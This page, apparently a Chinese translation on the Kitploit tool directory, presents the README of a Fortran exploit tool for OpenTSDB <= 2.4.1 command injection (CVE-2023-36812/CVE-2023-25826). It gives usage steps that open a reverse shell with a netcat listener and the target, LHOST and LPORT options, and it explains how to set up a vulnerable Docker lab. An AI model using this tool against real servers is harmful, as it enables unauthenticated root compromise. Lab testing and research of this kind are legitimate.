Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
opentsdb_key_cmd_injection — OpenTSDB <= 2.4.1 命令注入的漏洞利用 (CVE-2023-36812/CVE-2023-25826),用Fortran编写。 | Kitploit
工具/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队
GitHuberikwynter/opentsdb_key_cmd_injection

opentsdb_key_cmd_injection

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OpenTSDB <= 2.4.1 命令注入的漏洞利用 (CVE-2023-36812/CVE-2023-25826),用Fortran编写。

查看仓库
7113年前尚未审核

opentsdb_key_cmd_injection

一个针对 OpenTSDB <= 2.4.1 命令注入(CVE-2023-36812/CVE-2023-25826)的利用工具,使用 Fortran 编写

关于

这是一个针对 OpenTSDB 2.4.1 及更早版本(CVE-2023-36812/CVE-2023-25826)命令注入漏洞的利用工具。该利用工具使用现代 Fortran 编写,并利用了今年早些时候官方发布的 Fortran http-client 库。

漏洞详情

OpenTSDB 是一个用 Java 编写的开源时序数据库。2020 年,在 2.4.0 及更早版本中发现了一个命令注入漏洞,可利用该漏洞以 root 权限在主机上远程执行代码。由于 OpenTSDB 不支持身份验证,此漏洞(编号为 CVE-2020-35476)可被任何能访问 OpenTSDB Web 界面的攻击者利用。该问题在 2.4.1 版本中得到了修复。

今年发现,针对 CVE-2020-35476 的修复不完整,在 OpenTSDB 2.4.1 中仍可通过多种途径实现命令注入。

详情:

  • 跟踪编号:CVE-2023-36812。值得一提的是,CVE-2023-25826 实际上似乎描述了同一个漏洞,且两个 CVE 都指向同一个补丁。
  • 安全公告:https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • 致谢:Gal Goldstein 和 Daniel Abeles(Oxeye 公司)
  • 补丁:该补丁将在 2.4.2 版本中引入,该版本尚未正式发布。本文撰写时,最新的 OpenTSDB 发布版为 2.4.1,因此生产环境中绝大多数 OpenTSDB 实例很可能仍存在漏洞。不过,OpenTSDB 的常见问题解答强调该项目“仅为内部使用而编写”,且“未经过任何安全审查,也不包含身份验证功能”。

为什么选择 Fortran?

简短的回答是:我看到了这段对话: 为什么

使用曾用于将人类送上月球的编程语言编写漏洞利用工具的想法深深吸引了我,我必须亲自尝试。这个利用工具就是那次实验的成果。至于是否成功,我只能引用那些将所有开发者紧密联系在一起的、既睿智又荒诞的话语来回答:在我的机器上能运行。¯\(ツ)/¯

总之,我从这个项目中学到的主要几点是:

  • Fortran 实际上相当酷,而且出乎意料地容易上手。
  • 现代 Fortran 生态系统,包括 fpm 包管理器,展现了巨大的潜力。
  • Fortran 是一种强类型语言,我认为这是件好事,因为我很少遇到令人头疼的运行时错误。
  • 带有依赖项的 Fortran 项目体积较大,因为 fpm 会将依赖源代码直接包含进你的项目中。好处是避免了系统环境污染。
  • 与现代语言相比,库支持相对有限且混乱。不幸的是,这并不仅仅影响到 http-client 库。
  • 毫不意外,良好的文档和故障排除技巧比大多数现代编程语言更难找到,不过在 StackOverflow 和 2000 年代初那些早已被遗忘的论坛上仍然能找到不少有用的帖子。
  • 像 ChatGPT 和 GitHub Copilot 这样的 AI 工具,其可靠性甚至还不如它们对现代语言的辅助效果。

总而言之,很难想象这门语言会在攻击性安全领域真正获得重要地位,原因很简单:对于任何可预见的用例,都有大量成熟现代的替代语言(例如 Python、Go、Rust、Ruby、C# 等)。但如果你喜欢尝试不同的编程语言,并且不介意总是用 trim() 包裹你的字符串(请一定注意这一点,它将为你避免无数痛苦),那么 Fortran 绝对值得一试。我现在真心地看好这门语言,如果 http-client 库继续获得功能支持,我可能会再次使用它,特别是如果未来添加了 http-server 库的话。

TL;DR:Fortran http-client 库,冲冲冲。

使用方法

  • 在你的系统上启动一个监听器,例如:
root@kitploit:~
nc -nlvp 1337
  • 在另一个窗口中,进入 opentsdb_key_cmd_injection 目录
root@kitploit:~
# cd /path/to/opentsdb_key_cmd_injection/
  • 通过 fpm 运行该项目(请确保首先安装 fpm。参见下一节的安装说明)
root@kitploit:~
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

选项:

  • -t - 目标 URL:OpenTSDB 的基础 URL(必填)
  • -l - 本地主机地址:运行监听器的系统的 IP 地址(必填)
  • -p - 本地端口:监听器端口号(必填)
  • -v - 详细输出:启用详细打印(可选)

安装

  • 安装 gfortran。在基于 Debian 的系统上可通过以下命令完成:
root@kitploit:~
apt install gfortran
  • 安装 fpm。最简单的方法是下载最新稳定版的二进制文件,从 GitHub 上的 fpm 发布页 下载,然后将其设置为可执行:
root@kitploit:~
chmod +x /<path>/to/fpm

安装 fpm 之前,请确保你的系统上已安装 git。

概念验证 || 不然就演示

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

设置测试用的 OpenTSDB 实例

手动安装(不推荐)

手动安装可参考官方安装说明此处。不过这可能会比较麻烦,因此我建议使用 Docker。

Docker 安装(推荐)

对于 2.4.0 版本,你可以使用 vulnhub Docker 镜像,并按照此处的安装说明进行操作。该镜像是为 CVE-2020-35476(OpenTSDB 2.4.0 及更早版本的一个较旧漏洞)创建的。

对于 2.4.1 版本(以及可能的任何其他版本),你可以利用 vulhub 的 OpenTSDB 2.4.0 镜像,并通过修改它来安装你需要的版本。我对 2.4.1 版本采用了这种方法,效果很好。

  • 首先,从此处获取 vulhub OpenTSDB 2.4.0 的 Dockerfile 和 docker-entrypoint.sh 文件,并将它们存放在一个专用目录中。
  • 在 Dockerfile 中,将所有 2.4.0 的实例替换为你想要的版本,例如 2.4.1
  • docker-entrypoint.sh 无需修改
  • 创建一个包含以下内容的 docker-compose.yml 文件:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"

我使用的文件结构如下:

root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • 最后,通过 docker-compose 构建并运行镜像,在包含 docker-compose.yml 文件的目录中执行以下命令:
root@kitploit:~
docker-compose up -d
  • 几秒钟后,OpenTSDB 将在 4242 端口上可用。无需额外配置。

Fortran 简史(反正也没坏处)

Fortran 通常被认为是一种古老的语言,在现代计算史上扮演过重要角色,但如今已不再相关。它于 1957 年首次发布,比 ARPANET 和 Unix 都早了十多年。根据这个时序数据视频,Fortran 在 20 世纪 60 年代和 70 年代是占主导地位的编程语言,并且直到 20 世纪 90 年代末仍位居最受欢迎的 10 种语言之列。但到 Windows 98 发布时,它显然已经过时,被 C、C++、Java 和 JavaScript 等更现代的语言所取代——这些语言至今仍被广泛使用。

除了那些维护遗留系统的勇敢者之外,我怀疑过去二十年间 IT 领域(更不用说我们这个圈子之外了)有多少人遇到过 Fortran,甚至知道它仍然存在。尽管如此,Fortran 仍在积极开发中。正如官方 Fortran 网站所述,该语言最后一次修订是在 2018 年,我们有望在今年(2023 年)看到另一次修订。事实上,Fortran 社区在过去几年里似乎一直非常活跃,推出了几个重大项目来推动生态系统现代化,包括:

  • stdlib:有史以来第一个 Fortran 标准库(首次发布:2021 年)
  • fpm:一个名为 fpm 的现代包管理器及构建系统(首个 alpha 版本:2020 年)
  • http-client:前面提到的 HTTP 客户端库(首次发布:2023 年)

鉴于此,维护者们似乎意在让 Fortran 在一定程度上重获新生,或者至少给这门语言一个再存活几十年的机会。即使是最狂热的 Fortran 拥趸,大概也不指望这门语言能再次进入最流行编程语言的前十名,但该语言及其生态系统的持续现代化很可能使 Fortran 比过去一二十年更具相关性。

下载工具